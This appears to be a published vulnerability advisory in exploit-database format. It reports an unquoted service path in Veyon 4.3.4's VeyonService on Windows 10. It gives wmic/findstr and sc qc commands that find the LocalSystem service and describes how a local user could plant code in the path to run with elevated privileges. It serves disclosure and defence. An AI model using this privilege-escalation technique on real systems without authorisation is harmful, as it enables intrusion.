Veyon 4.3.4 - 'VeyonService' Unquoted Service Path

# Exploit Title: Veyon 4.3.4 - 'VeyonService' Unquoted Service Path
# Discovery by: Víctor García
# Discovery Date: 2020-03-23
# Vendor Homepage: https://veyon.io/
# Software Link:
https://github.com/veyon/veyon/releases/download/v4.3.4/veyon-4.3.4.0-win64-setup.exe
# Tested Version: 4.3.4
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "C:\Windows\\" |findstr /i /v """
Veyon Service     VeyonService     C:\Program Files\Veyon\veyon-service.exe


# Service info:

C:\>sc qc VeyonService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VeyonService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Veyon\veyon-service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Veyon Service
        DEPENDENCIES       : Tcpip
                           : RpcSs
        SERVICE_START_NAME : LocalSystem


# Exploit:

# A successful attempt would require the local user to be able to insert their code in the
# system root path undetected by the OS or other security applications where it could
# potentially be executed during application startup or reboot. If successful, the local
# user's code would execute with the elevated privileges of the application.